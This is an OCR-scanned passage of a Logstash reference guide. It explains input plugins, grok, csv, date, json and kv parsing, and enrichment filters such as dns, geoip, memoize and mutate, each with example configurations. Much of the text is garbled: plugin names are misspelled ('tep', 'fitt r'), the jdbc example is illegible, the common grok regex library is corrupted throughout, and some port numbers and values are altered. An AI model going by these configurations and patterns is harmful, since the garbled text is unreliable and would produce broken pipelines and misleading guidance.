requires a specific string for field1 and an integer over 5 for field2.

fitt r {
if [fieldl] == "string" and [field2] > 5 {
do_s. 2thing...

}

This is a similar example but where field1 needs to be set to string or field2 needs to be over 5.

filter {
if [fieldl] == "string" or [field2] > 5 {
do_som thing...
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Input Plugins

* beats

* elasticsearch
« file

«jdbc

- tep

* udp

* rabbitmq

+ kafka

Special considerations (not actual plugins)

* codecs

beats

Theb . pluginis an input plugin used to accept logs from beats agents such as winlogbeat and filebeat.

This example shows how to listen for logs from beats on port 5044. You cannot change the type when using beats.

input {
beats {
port => 5044

elasticsearch

The | “ies chinput plugin is an input plugin used to accept logs from an elasticsearch index. This can be used to re-
import logs from an existing index. It requires a query to be specified.

input {
elasticsearch {
hosts => "localhost"
query => '{ "query": { "match": { "statuscode": 200 } }, "sort": [ "_doc" ] }'
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jdbe

Thej cpluginis an input plugin used to retrieve logs from a database such as Microsoft SQL or MySQL. It is often used
to retrieve logs from third party systems that store logs in a database such as McAfee ePO (endpoint protection suite).

e Ao
{ N
d. wriv oy Uthr v -> "/ o/l gste h/diriv rs/sqlijch~42.7 r®
¢ r L 7 => "com wicroso  .sgl-urver jdbe S€ er erbriver”
‘ n ) => "*d .sqls> -~ -, [sq serve nar _ fe
14" .3;da b nawr="a.baen ae go s_..e"
- e = 110000
- => "ggl use: go s_here™
! => s 1_ -ssw- d goe her="
=> % % *H
=» MSELECT i pv4 us.r,mes~sage :RO: logs"
kL, T ome => 1d
y._‘ = [!m q"ﬂ
b
}
file

The file plugin is an input plugin used to monitor files or folders.

Input configuration for monitoring a file:

input {
fite {
“th => "/var/log/syslog"
}
}

Input configuration for monitoring a folder:
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Input configuration for monitoring CSV files within a folder:

input {
file {
path => "/path/to/some/folder/*.csv"

tcp

The tep input plugin is an input plugin that listens on a TCP port for logs.

Input configuration for accepting logs on TCP port 1025:

input {
tep {
port => 1025

1

It is recommended to add either a tag or type or both to all inputs. These should be used to specify the expected logs and/
or information about these logs such as method of collection. This example shows both:

input {
tep {
port => 1025
type => "name_goes_here"
tags => "name_goe5_here™

On Linux operating systems you must have be root or have administrative privileges to listen on ports 1024 and below.
However, running Logstash as root is a bad idea. One way around this is to use iptables. The iptables command below
maps port 514 (syslog) to port 1514.

iptables -t nat -A PREROUTING -p tcp --dport 514 -j REDIRECT —-to-port 1514
The equivalent Logstash configuration file that accepts these logs is below:

input {
tep {
port => 1514
type => "syslog"
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1

To make iptables persist across reboots you can use iptables-save and iptables-restore. For more information on this see
this link: https://help.ubuntu.com/community/lptablesHowTo#Using_iptables-save.2Frestore_to_test_ruIes

udp

The udp input plugin is an input plugin that listens on a UDP port for logs.

Input configuration for accepting logs on UDP port 1025:

input {
udp {
port => 025
}
}

It is recommended to add either a tag or type or both to all inputs. These should be used to specify the expected logs and/
or information about these logs such as method of collection. This example shows both:

input {
udp {
port => .025
type => "name_goes_here"
tags => "name_goes_here"

}

On Linux operating systems you must have be root or have administrative privileges to listen on ports 1024 and below.
However, running Logstash as root is a bad idea. One way around this is to use iptables. The iptables command below
maps port 514 (syslog) to port 1514.

iptables -t nat -A PREROUTING -p udp --dport 514 -j REDIRECT --to-port 1514
The equivalent Logstash configuration file that accepts these logs is below:

input {
udp {
port => 1514
type => "syslog"

}

To make iptables persist across reboots you can use iptables-save and iptables-restore. For more information on this see
this link: https://help.ubuntu.com/community/lptablesHowTo#Using_iptabIes-save.2Frestore_to_test_rules
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rabbitmgq

The r bbitmg input plugin is an input plugin that retrieves logs stored in RabbitMQ, which is a common third party
message broker/log buffer.

This example shows the basic rabbitmgq settings needed by Logstash:

input {
rabbitmg {
key => "logstashkey"
queue => "logstashqueue"
durable => true
exchange => "logstashexchange"
user => "logstash"
password => "password_goes_here'
host => "rabbitmq_server_goes_here"
po t => 5672

This example below shows the basic RabbitMQ settings needed by Logstash but also includes some tags for
troubleshooting. It assumes that it is pulling Windows logs out of a queue for Windows. The tags help troubleshoot issues
related to a specific queue.

input {
rabbitmg {
ey => "logstashkey"
gueue => "gyindows™
durable => true
exchange => "logstashexchange"
user => "logstash"
pas. ord => "password_goes_here"
host => "rabbitmg_server_goes_here"
port => 5672
tags => [ "queue_windows", "rabbitmq" ]

kafka

The ka. ainput plugin is an input plugin that retrieves logs stored in Kafka, which is a common third party message
broker/log buffer.

This example shows the basic kafka settings needed by Logstash:

inptt {
kafka {
zk_connect => "kafka_server_goes_here:2181"
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topic_id => [ "logstash" ]
¥
1

This example below shows the basic Kakfa settings needed by Logstash but also includes some tags for troubleshooting.
It assumes that it is pulling Windows logs out of a queue for Windows. The tags help troubleshoot issues related to a
specific queue.

input {
ka ka {
zk_connect => "kafka_server_goes_here:2181"
topic_id => [ "windows" ]
tags => [ "queue_windows", "kafka" ]
1
1

codecs

Codecs can be used in input plugins to tell Logstash what data representation to expect in incoming logs. For example, if
you know that logs coming in to the tep plugin are going to be json you could use this:

input {
tep {
port => "6000"
codec => "json"

The above configuration would automatically extract json field data similar to the below configuration. The difference is
the below configuration must first shove the log into a field called message and then extract the json information from it.

input {
tep {
port => "66006"
}
}
filter {
json {
source => "message"
1
¥

. ﬁter Parsing Plugins

° CsV
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» date
* grok

* json

£sy

The csv plugin is an filter plugin used to parse out fields that are seperated by a specific character.

The below example configuration retrieves specific columns that are tab delimited from a Bro DHCP log

fil er {
csv {
columns =>
["timestamp","uid","source_ip","source_port","destinatian_ip","destination_port","protocol","transaction_
separator => " "

date

The date plugin is an filter plugin used to parse and normalize the date from a given field.

Date uses the match parameter to set patterns to parse out timestamps. The match parameter takes an array of one or
more patterns. For more information see: https://www.elastic.co/guide/en/logstash/current/plugins-filters-
date. html#plugins-filters-date-match

The below example configuration attempts to match a syslog time format against a field called syslog_timestamp.

filter {
date {
match => [ "syslog_timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
1
}

The below example configuration attempts to match a syslog time format against a field called syslog_timestamp and
includes a timezone.

filter {
date {
match => [ "syslog_timestamp", "MMM d HH:mm:ss", "MMM dd HH:mm:ss" ]
timezone => "America/Chicago"
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The below example configuration attempts to match a timestamp based on the traditional year-month-day
hour:minute:second format such as 2017-07-06 04:30:00.

fitter {
date {
match => ["EventTime", "YYYY-MM-dd HH:mm:ss']
}
}

The below example configuration attempts to match a timestamp based on the traditional UNIX timestamp format format
such as 1496031788.649121 (taken from Bro log).

filtr {
date {
match => ["timestamp", "UNIX™]
1
}

The below example configuration attempts to match a timestamp based 1ISO8601 format which is
2017-07-06T04:30:00.100Z.

filter {
date {
match => ["EventTime", "IS08601"]
}
}

When using the date plugin, it may make sense to remove the original date field after it has been converted successfully.
This can be done by adding remove_field such as below.

filter {
dat {
ma ch => [YEventTime", "IS08601"]
remove_1 .eld => [ "EventTime']

}

grok

The rok plugin is an filter plugin used to parse fields using patterns and regex.
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Grok allows both raw regex and grok patterns (which are really regex anyway) to be used in any combination. It is an
extremely powerful tool.

When building out grok parsers it may make sense to do so using the website Grok Debugger:
https://grokdebug.herokuapp.com/

Patterns are simple to apply.

Take this sentence: The dogi brown and 4 yc rs old.

This would be the way to parse out the type of animal, color, and age using patterns:

filter {
grok {
match => { "message" => "The %{WORD:animall} is %{WORD:color} and %{INT:age} years old." }
}

This would be the way to parse out the type of animal, color, and age using regex:

ilter {
grok {
match => { "message" => "The (7<animal>[a-zA-Z]+) is (<color>[a—zA-Z]+) and (?<age>[6-91+)
years old." }
}
}

Please keep in mind that sometimes special characters will need escaped with "\". For example, consider this message:
There are [10] items in storage.

This grok configuration would fail:

fitter {
grok {
match => { "message" => Y"There are [%{INT:number}] items in storage." }

¥

This would be the correct configuration that escapes the [ and ] characters:

filter {
grok {
match => { "message" => "There are \[%{INT:number}\] items in storage." }

}
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Now, what if a log sometimes has extra fields and other times does not? This would cause the pattern/regex match to fail.
The way around this is to either perform multiple grok matches or handle optional fields.

Consider you need grok 1o be able to parse both of these sentences:

The dog is brown and 4 ye rs old. The dog is brown and 4 years old and is owned by George.

Multiple grok match

Multiple grok matches simply need multiple match statements. The order of operations matters. The first match stops
grok unless the parameter break_on_match is set to FALSE.

This is an example of a grok configuration that can parse both the sentences above using multiple grok match
statements:

filter {
grok {
match => { "message" => "The %{WORD:animal} is %{WORD:color} and %{INT:age} years old and is
owned bv %{WORD:owner}." }
match => { '"message" => "The %{WORD:animal} is %{WORD:color} and %{INT:age} vears old." }

Handling optional fields

It is not uncommon for logs to have optional fields that sometimes exist and other times do not. To handle this with grok
you can simply specific something as optional by surrounding it in ()?.

This is an example of a grok configuration that can parse both sentences above by adding an optional field reference
using ()? in the configuration:

filter {
grok {
match => { "message" => "The (7<animal>la-zA-Zl+} is (?<color>la-zA-Z]+) and (7<age>{0-8]+)
vears old( and is owned by %{WORD:owner})?." }
}
k;

Here is an example of grok being used against a Linux auth.log event:
<11>Jun 10 " :45:01 sec-555-Tinux CRON[2385]: pam_unix(cron:session): session closed for user root
The below example configuration attempts to parse the log above with grok patterns.

filter {
grok {
match => { "message" => "<%{INT:syslog_pri}>%{SYSLOGTIMESTAMP:syslog_timestamp} %
{SYSLOGHOST:syslog_hostname} %{DATA:syslog_program} (?:\[%{POSINT:syslog_pid}\1)7: %
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{GREEDYDATA:syslog_message}" }
¥
}

This is an example of looking for base64 text in a Windows PowerShell event ID 4104:

filter {
if [event_id] == 4104 and [ScriptBlockText] and [source_name] == "Microsoft-Windows-PowerShell" {
grok {
match => { "ScriptBlockText" => "(2<possible_base64_code>[A-Za-z0-9+/]{50,}{=]1{0,2})" }
tag_on_failure => []
1
}
1

Setting tag_on_failure to [] tells grok to not add a tag of _grokparsefailure if it fails to find a match.

Common Grok Patterns are below

USERNAME [a-zA-Z0-9._-]+

USER %{USERNAME}

INT (2:[+-12(2:[0-9]1+))

BASELBNUM (2<!1[0-9.+-1)(?>[+-12(2:(2:[F-9]1+(2:\.[0-91+)2) | (2:\.[8-9]+)))

NUMBER (?:%{BASE1ONUM})

BASELGNUM (2<![0-9A-Fa—F])(2:[+-17(2:0x)2(7:[0-9A-Fa-f]+))

BASEL6FLOAT \b(?<![0-9A-Fa-f.1) (?:[+-]2(2:0x)?(?:(?:[0-9A-Fa-f]+(?:\.[0-9A-Fa-F1x)?) | (2:\.[0-9A~Fa-f]
+))1\b

POSINT \b(?:[1-9]1[6-9]*)\b

NONNEGINT \b(?:[6-9]+)\b

WORD \b\w+\b

NOTSPACE \S+

SPACE \s*

DATA .x?

GREEDYDATA .x

QUOTEDSTRING (2>(2<I\\) (Z>"(2>\N. [LA\\"T)+7 [ (2> (2>\\. [LANN'TH)+ ) |11 127 (22\\L [ [N 10 +°) )
UUID [A-Fa-f0-9]{8}-(?:[A-Fa-f0-9]{4}-){3}[A-Fa-f0-9]{12}

# Networking

MAC (7 :%{CISCOMACT | %{WINDOWSMAC} | %{ COMMONMAC})

CISCOMAC (?2:(7:[A-Fa-f0-9]{4}\.){2}[A-Fa-fo-91{4})

WINDOWSMAC (?:(?:[A-Fa-f0-91{2}-){5}[A Fa-f0-9]1{2})

COMMONMAC (7:(?:[A-Fa-f0-91{2}:){5}[A-Fa-fe-9]1{2})

IPVe ((([0-9A-Fa~f]{1,4}:){7}([0-9A-Fa-f1{1,4}}:))|(([0-9A-Fa-f]1{1,4}:){6}(:[0-9A-Fa-f]1{1,4}|((25[0-5]]
2[0-4]1\d|1\d\d [ [1-9]2\d) (\. (25[0-51|2[0-4]\d|1\d\d]| [1-9172\d) ) {3}) | :)) | (([0-9A-Fa—f1{1,4}:) {5} (((:[0-9A-
Fa-f1{1,43){1,2}) | : ((25[0-51|2[0-41\d[1\d\d|[1-9T?\d) (\. (25[0-5]|2[0~-4]\d|1\d\d}|[1-912\d)) {3}) | )) |
(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3}) | ((:[0-9A-Fa-f]{1,4})?:((25[0-51]|2[0-4]\d|1\d\d|
[1-917\d) (\. (25[6-5]|2[0-4]\d[1\d\d| [1-912\d)){31)) | :)) | (([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4})
{1,4})1((:[@~9AvFa—f]{l,4}){@,2}:((25[@-5]}2{9—4]\d11\d\d|[l~9]?\d)(\.(25[@—5]]2[0—4]\d[1\d\d{[149]?
\d)7{3}))[:))I(([G~9A~Fa—F]{1,4}:){2}(((2[OW9A—Fa—f]{l,4}){l,5})!((I[G—9A-Fa—fj{l,4}){@,3}=((25[9“531
2[0-4]\d[1\d\d[[1-912\d) (\. (25[0-5]|2[@-41\d|1\d\d | [1-9]2\d)){3})) | :)) | (([0-9A-Fa-f1{1,4}:) {1} (((:
[0-9A-Fa-f] '1,4}){1,6}) | ((: [0-9A-Fa-f]1{1,4}){0,4}: ((25[0-51]|2[6-4]\d[I\d\d]| [1~9]?\d) (\.(25[0~5]|
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2[0-41\d|1\d\d | [1-912\d)){3})) [ :)) | (: (((: [0-9A-Fa-f1{1,4}){1,7}) | ((:[0-9A-Fa-T]{1,4}){0,5}: ((25[0-5]}]
2[0-4]1\d|1\d\d | [1-912\d) (\. (25[0-5]|2[6-4]\d | 1\d\d | [1-9]17\d)}{3})) [:))) (%.+)?

IPV4 (2<1[0-91)(?:(?7:25[0-51|..[0-4]1[0-9]|[0-112[0-91{1,2})[.1(?:25[0-5]|2[0~-4][0-9]1|[0-1]17[0-9]{1,2})
[.1(?:25[0-51]2[0-4][0-91|[0-112[0-9]1{1,2})[.]1(?:25[0-51|2[0-41[0-9.|[0-1]12[0-91{1,2})) (?![0-9])

IP (2:%{IPV6}[%{IPV4})

HOSTNAME \b(?:[0-9A-Za-z][0-9A-Za-z-1{0,62}) (?:\.(2:[0-9A-Za-z][6-9A-Za-z-1{0,62}))*(\.?[\b)

HOST %{HOSTNAME}

IPORHOST (2:%{HOSTNAME} |%{IP})

HOSTPORT (?:%{IPORHOST=~/\./}:%{POSINT})

# paths

PATH (7 :%{UNIXPATH}|%{WINPATH})

UNIXPATH (7>/(2>T\w_%13@:.,-1+[\\.)*)+

TTY (?:/dev/(pts|tty([pgl)?) (\w+)?/2(?:[0-9]+))

WINPATH (2>[A-Za-z]+:|[\\) (2 \\N[A\\2#]%)+

URIPROTO [A-Za-z]+(\+[A-Za-z+]+)?

URIHOST %{IPORHOST}(?::%{POSINT:port})?

# uripath comes loosely from RFC1738, but mostly from what Firefox

# doesn't turn dnto %XX

URIPATH (2:/[A-Za-z0-9S.+1x" () {},~:;=@#%_\-]*)+

HURIPARAM \?(?:[A-Za-z0-9]+(7:=(2:[M&]*))2(2:&(7: [A~-Za-z0-9]1+(2:=(7: ["&]*))?)?)x)?
URIPARAM \?7[A~Za 20-9$.+!1x" | () {},~@#%&/=1;_2\-\ \]1*

URIPATHPARAM %{URIPATH}(?:%{URIPARAM})?

URI %{URIPROTO}://(?:%{USER}(?::["r@]l*)?@)7(?:%{URIHOST})?(? :%{URIPATHPARAM})?

Months: January, Feb, 3, 03, 12, December
MONTH \b(?:Jan(?:uary)?|Feb(?:ruary)?[Mar(2:ch)?2|Apr(7:i1)?|May|Jun(?:e)?|Ju.(?:y) ?|Aug(?:ust) 7|
Sep(?:tember)?|0ct(?:0ber)?|Nov(?:ember)?|Dec(?:ember)?)\b
MONTHNUM (?:G?[l—9}]l[®—2])
MONTHDAY (2:(?:0[1-9])|(2:112170-91)|(?:3[01])|[1-91)

# Days: Monday, Tue, Thu, etc...
DAY (?:Mon(?:day)?|Tue(?:sday)?|Wed(?:nesday)?|Thu(?:rsday)?|Fri(?:day)?|Sat(?:urday)?|Sun(?:day)?)

# Years?

YEAR (?>\d\d){1,2}

HOUR (?:2[0123]][0117?[0-9])

MINUTE (7:[0-5][0-9])

# '60' is a leap second in most time standards and thus 1is valid.
SECOND (?2:(7:[0-5]1_0-91]|60)(7:[:.,1[0-9]1+)?)

TIME (?71<"0-9]1)%{HOUR} :%{MINUTE} (?7::%{SECOND}) (?![0-91)

# datestamp is YYYY/MM/DD-HH:MM:S$S.UUUU (or something like 1it)
DATE_US %{"ONTHNUM}[/-1%{MONTHDAY}[/-]1%{YEAR}

DATE_EU %{MONTHDAY}[./-]%{MONTHNUM}[./-1%{YEAR}

IS08601_TIMEZONE (?:Z] [+-]1%{HOUR} (?::?%{MINUTE}))

1508601 _SECOND (?:%{SECOND}|60)

TIMESTAMP_IS08601 %{YEAR}-%{MONTHNUM}-%{MONTHDAY}[T ]%{HOUR}:?%{MINUTE}(?::?%{SECOND})7%
{I508601_TIMEZONE}?

DATE %{DATE_US}|%{DATE_EU}

DATESTAMP %{DATE}[- 1%{TIME}

TZ (?:[PMCE][SD]T|UTC)

DATESTAMP_RFC822 %{DAY} %{MONTH} %{MONTHDAY} %{YEAR} %{TIME} %{TZ}
DATESTAMP_OTHER %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{TZ} %{YEAR}
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# Syslog Dates: Month Day HH:MM:SS

SYSLOGTIMESTAMP %{MONTH} +%{MONTHDAY} %{TIME}

PROG (?:[\w._/%-1+)

SYSLOGPROG %{PROG:program} (?:\[%{POSINT:pid}\]1)?

SYSLOGHOST %{IPORHOST}

SYSLOGFACILITY <%{NONNEGINT:faCi1ity}.%{NONNEGINT:priOFity}>
HTTPDATE %{MONTHDAY}/%{MONTH} /%{YEAR} :%{TIME} %{INT}

# Shortcuts
QS %{QUOTEDSTRING}

# Log formats

SYSLOGBASE %{SYSLOGTIMESTAMP:timestamp} (?2:%{SYSLOGFACILITY} ) ?2%{SYSLOGHOST: logsource} %{SYSLOGPROG}:
COMMONAPACHELOG %{IPORHOST:clientip} %{USER:ident} %{USER:auth} \ [%{HTTPDATE: timestamp}\] " (2:%
{WORD:verb} %{NOTSPACE:request}(?: HTTP/%{NUMBER: httpversion})? [%{DATA: rawrequest})" %
{NUMBER:response} (?:%{NUMBER:bytes}|-)

COMBINEDAPACHELOG %{COMMONAPACHELOG} %{QS:referrer} %{QS:agent}

# Log Levels

LOGLEVEL ([A-allert|ALERT|[T|t]race|TRACE|[D|d]ebug|DEBUG|[N|nJotice|NOTICE|[I|i]nfo|INFO|[W|w]larn?
(?:ng) 7 [WARN?(?:ING) ? [ [E]elrr?(?:or)? |ERR?(?:0R)?| [C]c]rit?(2:1cal) 7| CRIT? (2: ICAL)?| [F| flatal| FATAL|
[S|sTevere|SEVERE|EMERG(?:ENCY)?| [Eelmerg(2:ency)?)

Jjson

The ™ on plugin is an filter plugin used to automatically extract fields from a json log.

This is an example of a JSON log:

{"Hostname":”nessus@l.sec555.com","Keywords":—922337"036854775898,"Severity":"INFO","ProviderGuid":"{CZEE
A82B-(C96(84579543}" ,"Version":0,"Task":1,"Domain™: "NT AUTHORITY", "Message" :"Unloading the management
provider",“Opcode":"StOp","EventData":"","@version":"l","@timestamp“:"2@17—®5~27T02:27z51.@OGZ","host":"l
54451, "type" : "windows™,"tags":[], "user": "Network Service","account_type":"Well Known
Group","category":"Provider initialization","channel":"Microsoft-Windows-ServerManager-MgmtProvider/
Operational","event_id":2,"event_received_time“:1495852073,"event_type":"INFO",“opcode_vaIue":
2,"process_1id":2396,"record_number":2605,"severity_value":
2,"source_modu1e_name":"eventlog","source_module_type":"im_msvistalog",“source_name":"Microsoft;
Windows—SerVefﬁanager—MahagementProvider","thread_id":4458,"10gstash_tfme":G.@}

Notice that it is surrounded by {} and contains "field":"value". JSON can also handle nested fields such as:

{"Name":"Justin Henderson'’,
"Email":"justin@hasecuritysolutions.com™,
"Attributes": {

"EyeColor":"blue",

"Height":"average”

11
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JSON is extremely easy to parse because you do not really parse it. You simply use the json plugin to automatically
extract all the fields including nested ones.

The default source field is message. You only need to specific the source field if it is not message. Here is an example
configuration that will automatic extract fields from the message field using json:

filter {
json { }

Here is an example configuration that will automatic extract fields from the event field using json:

filter {
json {
source => "event"

kv

The kv plugin is an filter plugin used to automatically extract fields from a key value based log.
Key value means data is stored using a field name, some kind of separator character, and the field value.

Example of key value data separated by = (default and most common)
source_ip=192.168.0.1 source_port=50066 destination_ip=8.8.8.8 destination_port=53
This is an example of a real kv log:

<180>date=2017-04-23 time=21:21:46 devname=FGT50E3U16006093 devid=FGT50E3U16006093 logid=06601000014
type=traffic sublype=local level=notice vd=root srcip= ©2.168.254.2 srcport=123 srcintf=root dstip=208.
91.112.51 dstport=123 dstintf=wanl sessionid=16237"16 proto=17 action=accept policyid=0
dstcountry=Canada srccountry=Reserved trandisp=noop service=NTP app=NTP duration=181 sentbyte=76
rcvdbyte=76 sentpkt=1 rcvdpkt=1 appcat=unscannedroot

The configuration below uses kv to automatically extract fields and their corresponding values:

Jdlter {
grok {
match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} %{SYSLOGHOST:systog_hostname} %
{DATA:syslog_program} (?:\[%{POSINT:syslog_pid}\1)?: %{GREEDYDATA:syslog_message}" }
1
kv {

source => "syslog_message”
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The above configuration first uses grok to parse out the traditional syslog fields. It stores the syslog message into a field
called syslog_message and then uses kv against it. This means kv was ran only against this:

devname=FGT50E3U16006093 devid=FGT50E3U16006093 logid=0001000014 type=traffic subtype=Tlocal
level=notice vd=root srcip=192.168.254.2 srcport=123 srcintf=root dstip=208.91.112,51 dstport=123
dstintf=wanl sessionid=16237216 proto=17 action=accept policyid=0 dstcountry=Canada
srccountry=Reserved trandisp=noop service=NTP app=NTP duration=181 sentbyte=76 rcvdbyte=78 sentpkt=1
rcvdpkt=1 appcat=unscannedroot

Sometimes a log will come over with an empty value. In order for kv to work, the value portion cannot be empty.
For example, this is acceptable:

source_ip:192.168.0.1 vd=root destination_ip=8.8.8.8
This is not:

source_ip= 92.168.0.1 vd= destination_ip=8.8.8.8

One way to handle this is to perform a string replacement of empty values and change the value from nothing to
something like na (for not applicable). Here is an example on how to do this:

filter {
mutate {
gsub => [ "syslog_message", "= ", U=pa " ]
}
kv {
source => "syslog_message"

}

The above configuration will take this syslog_message:
source_ip=192.168.0.I vd= destination_ip=8.8.8.8
Then it will convert it into this:
source_ip=192,168.0.1 vd=na destination_ip=8.8.8.8

Finally, it will use kv to automatically extract the following fields and values:

source_ip:192.168.0.1 vd:"na" destination_i :8.8.8.8
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Filter Enrichment Plugins

+ dns

* drop

* elasticsearch
* memoize

* geoip

» mutate

» rest

» ruby

» syslog_pri
«tld

- translaie

dns

The dns plugin is a filter plugin used to either resolve a name to an IP address or an IP address to a name.

This example takes a domain and resolves it to an IP address:

filer {
dns {
resolve => "hostname”
action => "replace"

This example takes an IP address and resolves it to a name:

filter {
dns {
reverse => "source_ip"
action => "replace"

Both of the examples above would overwrite the fields specific (hostname and source_ip) with the value of the DNS
answer. This is not the expected behavior. To get around this, add a field that clones the value of the original field and use
the dns plugin against it.
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Here is an example that first takes the value of the field hostname and puts it into a new field called hostname_resolved.
Then it takes the hostname_resolved field and resolves it to an IP address:

filter {
mutate {
add_field => { "hostname_resolved" => "%{hostname}" }
¥
dns {
resolve => "hostname_resolved”
action => "replace"
1

Here is an example that first takes the value of the field source_ip and puts it into a new field called source_ip_resolved.
Then it takes the source_ip_resolved field and resolves it to a domain name:

filter {
mutate { add_field => { "source_ip_resolved" => "%{source_ip}" }
}
dns {
roverse => "source_ip_resolved"
action => "replace"

drop

The op plugin is a filter plugin used to remove an event. A dropped event is immediately removed from Logstash and not
processed.

The **drop* plugin is extremely important. Use it to eliminate events that have littie to no value.

This example drops an event if the field syslog_message has the phrase "unknown exception has occurred":

filter {
if [syslog_message] =~ "unknown exception has occurred" {
drop { }
1
¥

This example drops an event if the EventID field is set to 555:

filter {
if [EventID] == 555 {
drop { }
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filter_elasticsearch

The elasticsearch plugin is community filter plugin used to query Elasticsearch. if a match is found, whatever fields are
specified will be appended to the existing log.

If lookups are likely to happen multiple times for the same piece of data consider using this plugin in conjunction to
#memoize. It will enable caching of the results and allow Logstash to perform much faster lookups.

Consider this scenario, an IDS alert has been received but the alert only contains the source_ip and destination_ip.
However, having the DNS name associated with these IP addresses could be valuable to an analyst. If DNS queries and
answers are in Elasticsearch, they can be pulled into the IDS alert automatically.

Here is the configuration to do it that works with Logstash versions 5.x/6.x:

T lter {
if [event_type] == "alert" {
elasticsearch {
guery => "highest_registered_domain:%{highest_registered_domain}"
index => "alexa-toplm"
fields => {
"rank" => ”r-ankll

}

Here is the configuration to do it that works with Logstash version 2.x:

filter {
if [ev nt_type] == "alert" {
elasticsearch {
hosts => ["localhost"]
index => "logstash-suricata-dns—x"
query => "event_type:dns AND query_type:answer AND response_data:%{[destination_ip]}"
fields => [["query_name',"query"], ["dns_id","dns_id"]]

This configuration would take the destination_ip and check to see if the Elasticsearch index logstash-suricata-dns-* had a
previous answer that contained the destination_ip. If a match was found the elasticsearch filter plugin would pull back the

query_name and dns_id fields. In this example, the query_name field would be stored into a field called query and the
dns_id field would be stored into a field called dns_id.
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memoize

Later versions of Logstash have released a memcache plugin. It is recommended to use the memcache plugin for
Logstash versions 6.X and higher.

Thelk t +fi  -n woi :pluginis community filter plugin used to enable caching for other filter plugins. It is used to
wrap itself around another filter plugin and cache the results based on a specific field. Subsequent calls to the same filter
plugin with the same field value causes memoize to pull the return value from cache rather than running the filter plugin
again. This can ras ic ly increase performance assuming caching is acceptable per your use case.

Consider this scenario, an IDS alert has been received but the alert only contains the source_ip and destination_ip.
However, having the DNS name associated with these IP addresses could be valuable to an analyst. If DNS gueries and
answers are in Elasticsearch, they can be pulled into the IDS alert automatically.

Here is the configuration to do it:

filter {
if [ever.._type] == "alert" {
memoize {
key => "%{destination_ip}"
fields => [ "highest_registered_domain", "query" ]
filter_name => "elasticsearch"
filter_options => {
query => "type:bro_dns AND answers:%{destination_1ip}"
index => "logstash-bro-+"
fields => {
"query"™ => "destination_fqdn"
"highest_registered_domain" => "destination_highest_registered_domain"

This configuration would take the destination_ip and check to see if the Elasticsearch index logstash-bro-* had a previous
answer that contained the destination_ip. If a match was found the elasticsearch filter plugin would pull back the
highest_registered_domain and query fields. In this example, the query field would be stored into a field called
destination_fqdn and the highest_registered_domain field would be stored into a field called
destination_highest_registered_domain. Memoize would then cache this so that if the same alert came in 50 times the
first alert would be cached and the remaining 49 would pull from that chace.

Other use cases for the memoize filter plugin:

* Querying threat intelligence feeds stored in Elasticsearch indexes (Collective Intelli. nce Fram work uses
Elasticsearch)
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» Building your own custom intelligence feeds and querying them

« Querying custom whitelist information (in house controlled whitelisting feeds can be extremely powerful)

There are other ways to do the above but this is another method often overlooked.

geoip

The g oi plugin is a filter plugin used to take an IP address and resolve it to geographic information such as city, state,
latitude, longitude, and Autonomous System Number (ASN).

Here is an example of using geoip against a field called destination_ip:

filter {
geoi {
source => "[destination_ip]l"
}
}

Here is an example of using geoip against a field called destination_ip and saving the results to a field called
destination_geo:

f1lter {
geoip {
source => "[destination_1ipl"
arget => "destination_geo™

Here is an example of using geoip against a field called destination_ip using a custom geoip database (such as
commercial use of MaxMind):

filter {
geoip {
database => "/usr/local/share/GeoIP/GeoLiteCity.dat"
source => "[destination_ip]"
target => "destination_geo"

}

The above examples only retrieve traditional geo information such as city, state, latitude, and longitude. It does not include
ASN which is one of the most underutilized and tactically important fields.

The below information shows the standard geoip information for 8.8.8.8:
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destination_ip

destination_geo.
destination_geo.
destination_geo.
destination_geo.
destination_geo.
destination_geo.
destination_geo.
.latitude
destination_geo.
destination_geo.
destination_geo.
destination_geo.
destination_geo.
destination_geo.

destination_geo

While this is helpful, it is does not add enough context for the analyst. However, the ASN does. See the ASN information

for 8.8.8.8:

destination_ip

destination_geo.
destination_geo.

Without using DNS, this ASN of 15169 shows that 8.8.8.8 is registered to Google Inc. This is powerful for filtering and
applying additional Logstash configurations. For example, you could use the ASN to filter out certain businesses such as

area_code
city_name
continent_code
country_code2
country_code3
country_name

ip

location
longitude
postal_code
real_region_name
region_name
timezone

asn
number

8.8.8.8

650

Mountain View
NA

us

USA

United States
8.8.8.8
37.386
-122.084, 37.386
-122.684
94035
California

CA

America/Los_Angeles

8.8.8.8
Google Inc.
AS15169

Microsoft from specific hunting techniques.

Below is the configuration used to puif in ASN information:

filter {
geoip {

d tabase => "/usr/local/share/GeoIP/GeoIPASNum.dat"

source => "[source_ipl"
target => "source_geo"

}

It simply requires pointing at a ASN database file.

mutate

The mut _e plugin is a filter plugin used to alter a log. It has many purposes as seen below.

Add a field

This example config adds a field called hostname_resolved and starts it with an empty value:
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filter {
mutate {
add_fietid => { "hostname_resolved" => "' }

This example config adds a field called hostname_resolved and clones the value of the hostname field into it:

filter {
mutate {
add_field => { "hostname_resolved" => "%{hostname}" }

Add atag

This example config adds a tag called pci:

filter {
mutate {
ad!_tag => " A"
}
1

This example config adds a tag called pci and critical_asset:

filter {
mutate {
add_tag => [ "pci", "critical_asset" ]

Convert a field type (integer, float, string, boolean)

This example config converts the field source_port to a integer:

filter {
mutate {
convert => [ "source_port", "integer" ]

String Replacement (gsub)

This example config replaces "= " with "=na " in the syslog_message field:

fil er {
mutate {
gsub => [ "syslog_message™, "= ", "=nag " ]
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Add unique ID

This example config adds a unique ID to a log into a field called unique_id:

filter {
mutate {
id => "unique_id"
}

lowercase all text

This example config lowercases all letters in the syslog_message field:

filter {
mutate {
lowercase => [ "syslog_message" ]

Remove unwanted/redundant field(s)

This example config removes the syslog_message field:

filter {
mutate {
remove_field => [ "syslog_message" ]

Remove tag(s)

This example config removes the alert tag:

filter {
mutate 4
remove_tag => [ "alert" ]

Rename / Standardize field name(s)

This example config renames the src_ip field to source_ip:

filter {
mutate {
rename => [ "src_ip", "source_ip" ]
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S d rdizii field namesis C ITICAL

Replace a field's value

This example config replaces the value of host to 172.16.0.2:

filter {
mutate {
replace => { "host" => "172.16.6.2" }
}

Remove whitespace from beginning and end of field

This example config removes whitespace from the beginning and end of the syslog_message field:

filte {
mutat {
strip => [ "syslog_message" ]

uppercase all text

This example config uppercase all letters in the syslog_message field:

